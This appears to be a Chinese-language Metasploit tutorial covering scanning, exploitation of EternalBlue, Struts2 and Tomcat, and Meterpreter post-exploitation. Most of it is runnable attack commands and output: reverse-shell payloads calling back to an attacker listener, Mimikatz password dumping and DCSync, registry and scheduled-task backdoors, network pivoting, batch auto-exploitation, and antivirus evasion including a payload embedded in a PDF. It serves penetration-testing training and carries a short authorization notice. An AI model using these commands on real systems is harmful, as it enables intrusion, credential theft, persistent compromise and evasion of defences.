Metasploit Framework 完全实战指南

Metasploit Framework (MSF) 是全球最强大的开源渗透测试框架,集成了数千个漏洞利用模块、后渗透工具和辅助功能。本文将深入讲解 MSF 的完整使用流程,从信息收集、漏洞扫描到漏洞利用、权限提升和维持,助你成为专业的渗透测试工程师。

Metasploit 渗透测试攻击链 HackHub.org 阶段1: 信息收集 auxiliary/scanner/ 端口扫描/服务识别 阶段2: 漏洞扫描 auxiliary/scanner/ Nessus/OpenVAS集成 阶段3: 漏洞利用 exploit/windows/ 获取 Meterpreter 阶段4: 后渗透 post/windows/ 权限提升/凭证获取 核心模块 • db_nmap 扫描 • portscan 端口探测 • smb_version 识别 • http_version 探测 • ssh_enumusers 枚举 Exploit 模块 • EternalBlue MS17-010 • ProFTPd 1.3.5 RCE • Apache Struts2 RCE • Tomcat Manager Upload • Jenkins Script Console Meterpreter • sysinfo 系统信息 • getuid 获取权限 • hashdump 密码哈希 • screenshot 截屏 • migrate 进程迁移 后渗透模块 • getsystem 提权 • kiwi 凭证窃取 • persistence 持久化 • portfwd 端口转发 • autoroute 路由添加 Metasploit 数据库 (PostgreSQL) 存储: 主机信息 | 服务数据 | 漏洞记录 | 凭证信息 | 战利品文件 命令: db_status | hosts | services | vulns | creds | loot

📘 什么是 Metasploit Framework?

Metasploit Framework (MSF) 是由 HD Moore 于 2003 年创建的开源渗透测试平台,现由 Rapid7 公司维护。它提供了完整的渗透测试工作流,从信息收集到后渗透控制的全流程支持。

🎯 核心优势

  • 模块化架构:2000+ 个 exploit、800+ 个 payload、500+ 个辅助模块
  • Meterpreter:强大的内存级 Payload,支持进程注入、无文件落地
  • 数据库集成:PostgreSQL 存储渗透测试数据,便于团队协作
  • 自动化支持:Resource 脚本、API 接口,支持批量自动化攻击

🔧 安装与配置

Kali Linux 安装(推荐)

Kali 自带 MSF,更新即可
# 更新 Metasploit
sudo apt update
sudo apt install metasploit-framework -y

# 启动 PostgreSQL 数据库
sudo systemctl start postgresql
sudo systemctl enable postgresql

# 初始化 MSF 数据库
sudo msfdb init

# 启动 Metasploit 控制台
msfconsole

Ubuntu/Debian 安装

通过官方脚本安装
# 下载并执行安装脚本
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall
chmod 755 msfinstall
./msfinstall

# 配置数据库
msfdb init
msfconsole

🔍 阶段1:信息收集与扫描

端口扫描与服务识别

使用 db_nmap 集成 Nmap
msf6 > db_status  # 检查数据库连接
msf6 > workspace -a test_project  # 创建工作空间
msf6 > db_nmap -sS -sV -O 192.168.1.0/24  # 全端口扫描
msf6 > hosts  # 查看发现的主机
msf6 > services  # 查看发现的服务

SMB 服务扫描

msf6 > use auxiliary/scanner/smb/smb_version
msf6 auxiliary(scanner/smb/smb_version) > set RHOSTS 192.168.1.0/24
msf6 auxiliary(scanner/smb/smb_version) > run

# 扫描 SMB 共享
msf6 > use auxiliary/scanner/smb/smb_enumshares
msf6 auxiliary(scanner/smb/smb_enumshares) > set RHOSTS 192.168.1.100
msf6 auxiliary(scanner/smb/smb_enumshares) > run

SSH 用户枚举

msf6 > use auxiliary/scanner/ssh/ssh_enumusers
msf6 auxiliary(scanner/ssh/ssh_enumusers) > set RHOSTS 192.168.1.100
msf6 auxiliary(scanner/ssh/ssh_enumusers) > set USER_FILE /usr/share/wordlists/metasploit/unix_users.txt
msf6 auxiliary(scanner/ssh/ssh_enumusers) > run

💥 阶段2:漏洞利用

案例1:EternalBlue (MS17-010) 漏洞利用

EternalBlue 是针对 Windows SMB 服务的经典漏洞,影响 Windows 7/2008R2 等系统。

检测并利用 MS17-010
# 1. 检测漏洞
msf6 > use auxiliary/scanner/smb/smb_ms17_010
msf6 auxiliary(scanner/smb/smb_ms17_010) > set RHOSTS 192.168.1.100
msf6 auxiliary(scanner/smb/smb_ms17_010) > run

# 2. 利用漏洞
msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 192.168.1.100
msf6 exploit(windows/smb/ms17_010_eternalblue) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) > set LHOST 192.168.1.50
msf6 exploit(windows/smb/ms17_010_eternalblue) > set LPORT 4444
msf6 exploit(windows/smb/ms17_010_eternalblue) > exploit

[*] Started reverse TCP handler on 192.168.1.50:4444
[*] Sending stage (200774 bytes) to 192.168.1.100
[*] Meterpreter session 1 opened

案例2:Apache Struts2 远程代码执行

msf6 > use exploit/multi/http/struts2_content_type_ognl
msf6 exploit(multi/http/struts2_content_type_ognl) > set RHOSTS 192.168.1.200
msf6 exploit(multi/http/struts2_content_type_ognl) > set TARGETURI /struts2-showcase/
msf6 exploit(multi/http/struts2_content_type_ognl) > set PAYLOAD linux/x64/meterpreter/reverse_tcp
msf6 exploit(multi/http/struts2_content_type_ognl) > set LHOST 192.168.1.50
msf6 exploit(multi/http/struts2_content_type_ognl) > exploit

案例3:Tomcat Manager 弱口令上传

# 1. 爆破 Tomcat Manager 凭证
msf6 > use auxiliary/scanner/http/tomcat_mgr_login
msf6 auxiliary(scanner/http/tomcat_mgr_login) > set RHOSTS 192.168.1.150
msf6 auxiliary(scanner/http/tomcat_mgr_login) > set USER_FILE users.txt
msf6 auxiliary(scanner/http/tomcat_mgr_login) > set PASS_FILE passwords.txt
msf6 auxiliary(scanner/http/tomcat_mgr_login) > run

# 2. 上传恶意 WAR 包
msf6 > use exploit/multi/http/tomcat_mgr_upload
msf6 exploit(multi/http/tomcat_mgr_upload) > set RHOSTS 192.168.1.150
msf6 exploit(multi/http/tomcat_mgr_upload) > set HttpUsername admin
msf6 exploit(multi/http/tomcat_mgr_upload) > set HttpPassword admin
msf6 exploit(multi/http/tomcat_mgr_upload) > set PAYLOAD java/meterpreter/reverse_tcp
msf6 exploit(multi/http/tomcat_mgr_upload) > exploit

🎮 阶段3:Meterpreter 后渗透

💎 Meterpreter 核心特性

  • 内存执行:完全运行在内存中,不写入磁盘,难以被检测
  • 加密通信:使用 TLSv1.2 加密 C2 通信,避免流量特征
  • 进程迁移:可迁移到稳定进程(如 explorer.exe)
  • 扩展模块:支持加载 stdapi、priv、kiwi 等扩展

基础信息收集

meterpreter > sysinfo  # 系统信息
Computer        : WIN7-PC
OS              : Windows 7 (6.1 Build 7601, Service Pack 1)
Architecture    : x64
System Language : zh_CN
Meterpreter     : x64/windows

meterpreter > getuid  # 当前权限
Server username: WIN7-PC\Administrator

meterpreter > ps  # 进程列表
meterpreter > ipconfig  # 网络配置
meterpreter > route  # 路由表

权限提升

自动提权到 SYSTEM
meterpreter > getsystem  # 尝试自动提权
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

# 手动使用提权模块
meterpreter > background
msf6 exploit(windows/smb/ms17_010_eternalblue) > use exploit/windows/local/bypassuac_eventvwr
msf6 exploit(windows/local/bypassuac_eventvwr) > set SESSION 1
msf6 exploit(windows/local/bypassuac_eventvwr) > exploit

凭证窃取(Mimikatz/Kiwi)

# 加载 kiwi 扩展(Mimikatz)
meterpreter > load kiwi
Loading extension kiwi...
  .#####.   mimikatz 2.2.0 20191125 (x64/windows)
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( [email protected] )
 ## \ / ##       > http://blog.gentilkiwi.com/mimikatz
 '## v ##'        Vincent LE TOUX            ( [email protected] )
  '#####'         > http://pingcastle.com / http://mysmartlogon.com  ***/

# 导出明文密码
meterpreter > kiwi_cmd sekurlsa::logonpasswords

# 导出哈希
meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

# 黄金票据攻击
meterpreter > kiwi_cmd lsadump::dcsync /domain:corp.com /user:krbtgt

进程迁移

# 查找稳定进程
meterpreter > ps
 PID   PPID  Name               Arch  Session  User
 ---   ----  ----               ----  -------  ----
 1584  628   explorer.exe       x64   1        WIN7-PC\Administrator
 2340  1584  cmd.exe            x64   1        WIN7-PC\Administrator

# 迁移到 explorer.exe
meterpreter > migrate 1584
[*] Migrating from 2340 to 1584...
[*] Migration completed successfully.

文件操作

meterpreter > cd C:\\Users\\Administrator\\Desktop
meterpreter > ls
meterpreter > download passwords.txt /root/  # 下载文件
meterpreter > upload backdoor.exe C:\\Windows\\Temp\\  # 上传文件
meterpreter > cat flag.txt  # 查看文件
meterpreter > search -f *.docx  # 搜索文件

持久化后门

# 使用 persistence 模块
meterpreter > run persistence -X -i 60 -p 4444 -r 192.168.1.50

# 注册表启动项
meterpreter > reg setval -k HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run -v Backdoor -d "C:\\Windows\\Temp\\backdoor.exe"

# 计划任务
meterpreter > execute -f schtasks -a "/create /tn UpdateTask /tr C:\\Windows\\Temp\\backdoor.exe /sc onlogon /ru System"

🔀 内网渗透与代理转发

添加路由

# 查看目标网络
meterpreter > ipconfig
Interface 1: 192.168.1.100 (External)
Interface 2: 10.10.10.50 (Internal)

# 添加路由到内网
meterpreter > run autoroute -s 10.10.10.0/24
[*] Adding a route to 10.10.10.0/255.255.255.0...
[+] Route added successfully.

# 查看路由表
meterpreter > run autoroute -p

端口转发

# 本地端口转发
meterpreter > portfwd add -l 3389 -p 3389 -r 10.10.10.100

# 现在可以通过 localhost:3389 访问内网 10.10.10.100:3389
rdesktop localhost:3389

Socks 代理

# 启动 Socks4a 代理
meterpreter > background
msf6 > use auxiliary/server/socks_proxy
msf6 auxiliary(server/socks_proxy) > set SRVPORT 1080
msf6 auxiliary(server/socks_proxy) > set VERSION 4a
msf6 auxiliary(server/socks_proxy) > run

# 配置 proxychains
echo "socks4 127.0.0.1 1080" >> /etc/proxychains.conf

# 通过代理扫描内网
proxychains nmap -sT -Pn 10.10.10.0/24

🤖 自动化与批量利用

Resource 脚本自动化

auto_exploit.rc
workspace -a auto_attack
db_nmap -sS -sV 192.168.1.0/24

use exploit/windows/smb/ms17_010_eternalblue
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.1.50
set LPORT 4444
services -p 445 -u -R
exploit -z

use exploit/multi/http/struts2_content_type_ognl
services -p 80,8080 -u -R
exploit -z
# 执行脚本
msfconsole -r auto_exploit.rc

使用 AutoPwn2 批量利用

msf6 > use auxiliary/scanner/http/autopwn2
msf6 auxiliary(scanner/http/autopwn2) > set RHOSTS 192.168.1.0/24
msf6 auxiliary(scanner/http/autopwn2) > set LHOST 192.168.1.50
msf6 auxiliary(scanner/http/autopwn2) > run

🕵️ 免杀与对抗检测

生成免杀 Payload

# 使用 msfvenom 生成 Payload
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 \
  -f exe -e x64/xor_dynamic -i 10 -o payload.exe

# 使用 Shikata Ga Nai 编码器
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 \
  -f exe -e x86/shikata_ga_nai -i 20 -o encoded.exe

# 嵌入到正常 PDF 文件
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 \
  -f exe -x normal.pdf -k -o infected.pdf

使用 Evasion 模块

msf6 > use evasion/windows/windows_defender_exe
msf6 evasion(windows/windows_defender_exe) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 evasion(windows/windows_defender_exe) > set LHOST 192.168.1.50
msf6 evasion(windows/windows_defender_exe) > set LPORT 4444
msf6 evasion(windows/windows_defender_exe) > run

[*] Compiled executable size: 73802
[+] infected.exe stored at /root/.msf4/local/infected.exe

💾 数据库管理与团队协作

# 查看数据库状态
msf6 > db_status
[*] Connected to msf. Connection type: postgresql.

# 工作空间管理
msf6 > workspace  # 列出所有工作空间
msf6 > workspace -a client_pentest  # 创建工作空间
msf6 > workspace client_pentest  # 切换工作空间
msf6 > workspace -d old_project  # 删除工作空间

# 查询数据
msf6 > hosts  # 所有主机
msf6 > services  # 所有服务
msf6 > vulns  # 所有漏洞
msf6 > creds  # 所有凭证
msf6 > loot  # 所有战利品

# 导出报告
msf6 > db_export -f xml /root/pentest_report.xml

💡 实战技巧与最佳实践

🎯 高效使用技巧

  • 使用 search 命令查找模块:search type:exploit platform:windows smb
  • 使用 -z 参数后台运行 exploit,方便批量攻击
  • Session 后台管理:sessions -i 1 进入会话,background 后台
  • 使用 -j 参数将 handler 作为 job 运行

⚠️ 安全注意事项

  • 合法授权:仅在获得书面授权的环境中使用 Metasploit
  • 数据保护:妥善保管获取的凭证和敏感数据
  • 清理痕迹:渗透测试结束后清理日志和后门
  • 流量加密:使用 HTTPS/reverse_tcp_ssl 避免明文传输
常用快捷命令
# 快速设置 Payload 参数
msf6 > setg LHOST 192.168.1.50  # 全局设置
msf6 > setg LPORT 4444

# 批量操作 Sessions
msf6 > sessions -K  # 关闭所有会话
msf6 > sessions -u 1  # 将普通 shell 升级为 Meterpreter
msf6 > sessions -c "sysinfo" -i 1  # 在会话中执行命令

# 查看模块信息
msf6 > info exploit/windows/smb/ms17_010_eternalblue
msf6 > show options
msf6 > show payloads
msf6 > show targets

📚 总结

Metasploit Framework 是渗透测试人员的瑞士军刀,掌握它的使用是每个安全从业者的必备技能。从基础的端口扫描到复杂的内网渗透,MSF 提供了完整的工具链。

在实战中,结合 Burp Suite 进行 Web 测试、配合 Cobalt Strike 进行 APT 攻击模拟、整合 BloodHound 分析域环境,可以构建完整的红队攻击体系。

📖 学习资源

  • 官方文档:Metasploit Documentation
  • Exploit Database:Exploit-DB
  • Offensive Security:Metasploit Unleashed 免费课程
  • HackTheBox:大量靶机练习 Metasploit 使用

🖼️ 实战案例截图